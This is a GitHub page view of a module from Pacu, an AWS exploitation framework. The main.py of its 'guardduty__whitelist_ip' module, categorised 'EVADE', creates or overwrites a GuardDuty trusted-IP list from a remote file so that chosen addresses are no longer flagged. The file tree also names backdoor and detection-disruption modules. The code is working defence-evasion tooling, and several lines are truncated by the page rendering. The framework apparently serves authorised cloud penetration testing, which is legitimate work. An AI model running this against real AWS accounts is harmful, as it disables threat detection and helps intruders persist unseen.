Files

866376c

Go to file

- .github
- pacu
  - core
  - modules
    - acm__enum
    - api_gateway__create_api_keys
    - apigateway__enum
    - aws__enum_account
    - aws__enum_spend
    - cfn__resource_injection
    - cloudformation__download_data
    - cloudtrail__csv_injection
    - cloudtrail__download_event_hi...
    - cloudwatch__download_logs
    - codebuild__enum
    - detection__disruption
    - detection__enum_services
    - dynamodb__enum
    - ebs__download_snapshots
    - ebs__enum_volumes_snapshots
    - ebs__explore_snapshots
    - ec2__backdoor_ec2_sec_groups
    - ec2__check_termination_protec...
    - ec2__download_userdata
    - ec2__enum
    - ec2__startup_shell_script
    - ecr__enum
    - ecs__backdoor_task_def
    - ecs__enum
    - ecs__enum_task_def
    - eks__enum
    - elb__enum_logging
    - enum__secrets
    - glue__enum
    - guardduty__list_accounts
    - guardduty__list_findings

pacu / pacu / modules / guardduty__whitelist_ip / main.py

Ryan Gerstenkorn Support for packaging (#247) 743f9c9 · 3 years ago History

Code Blame 101 lines (88 loc) · 5.31 KB Raw

```python
#!/usr/bin/env python3
import argparse
from botocore.exceptions import ClientError
import copy
import string
import random


module_info = {
    'name': 'guardduty__whitelist_ip',
    'author': 'Spencer Gietzen',
    'category': 'EVADE',
    'one_liner': 'Adds an IP address to the list of trusted IPs in GuardDuty.',
    'description': 'This module accepts a file containing IPv4 addresses and adds them
    'services': ['GuardDuty'],
    'prerequisite_modules': ['detection__enum_services'],
    'external_dependencies': [],
    'arguments_to_autocomplete': ['--path', '--regions', '--targets'],
}

parser = argparse.ArgumentParser(add_help=False, description=module_info['description']
parser.add_argument('--path', required=True, help='A public link to a file containing a
parser.add_argument('--regions', required=False, default=None, help='The set of regions
parser.add_argument('--targets', required=False, default=None, help='Comma-separated li


def main(args, pacu_main):
    session = pacu_main.get_active_session()
    args = parser.parse_args(args)
    print = pacu_main.print
    input = pacu_main.input
    fetch_data = pacu_main.fetch_data
    get_regions = pacu_main.get_regions

    data = {'detectors': [], 'ip_sets': []}

    if args.targets:
        detectors = []
        regions = []
        targets = args.targets.split(',')
        for target in targets:
            id, region = target.split('@')
            detectors.append({'Id': id, 'Region': region})
            regions.append(region)
        regions = list(set(regions))
    else:
        regions = get_regions('GuardDuty')
        if fetch_data(['GuardDuty', 'Detectors'], module_info['prerequisite_modules'][0
            print('Pre-req module failed.')
            return
        detectors = copy.deepcopy(session.GuardDuty['Detectors'])

    for region in regions:
        client = pacu_main.get_boto3_client('guardduty', region)
        for detector in detectors:
            if detector['Region'] == region:
                print('  ({}) Detector {}:'.format(region, detector['Id']))
```

- guardduty__whitelist_ip
  - __init__.py
  - main.py
- iam__backdoor_assume_role
- iam__backdoor_users_keys
- iam__backdoor_users_password

```python
                print(' ({}) Detector {}:'.format(region, detector['Id']))
                data['detectors'].append(detector)
                try:
                    response = client.create_ip_set(
                        Activate=True,
                        DetectorId=detector['Id'],
                        Format='TXT',
                        Location=args.path,
                        Name=''.join(random.choice(string.ascii_lowercase + string.digi
                    )
                    ip_set_id = response['IpSetId']
                    data['ip_sets'].append(ip_set_id)
                    print('    Created IPSet: {}'.format(ip_set_id))
                except ClientError as error:
                    if 'an attempt to create resources beyond the current AWS account l
                        print('    Error: Existing IPSet found')
                        print('    WARNING: Replacing an existing IPSet could have unin
                        remove = input('Try to replace the IPSet? (y/n) ')
                        if remove.strip() == 'y':
                            try:
                                response = client.list_ip_sets(
                                    DetectorId=detector['Id']
                                )
                                # There is a max of one IPSet per detector
                                existing_ip_set_id = response['IpSetIds'][0]

                                client.update_ip_set(
                                    Activate=True,
                                    DetectorId=detector['Id'],
                                    Location=args.path,
                                    IpSetId=existing_ip_set_id
                                )

                                print('      Replaced IPSet {}...\n'.format(existing_ip
                                data['ip_sets'].append(existing_ip_set_id)
                            except ClientError as error:
                                print('      Error: {}'.format(str(error)))
                    else:
                        print('      Error: {}'.format(str(error)))

    return data


def summary(data, pacu_main):
    return '{} IPSet(s) created for {} GuardDuty Detector(s).'.format(len(data['ip_sets
```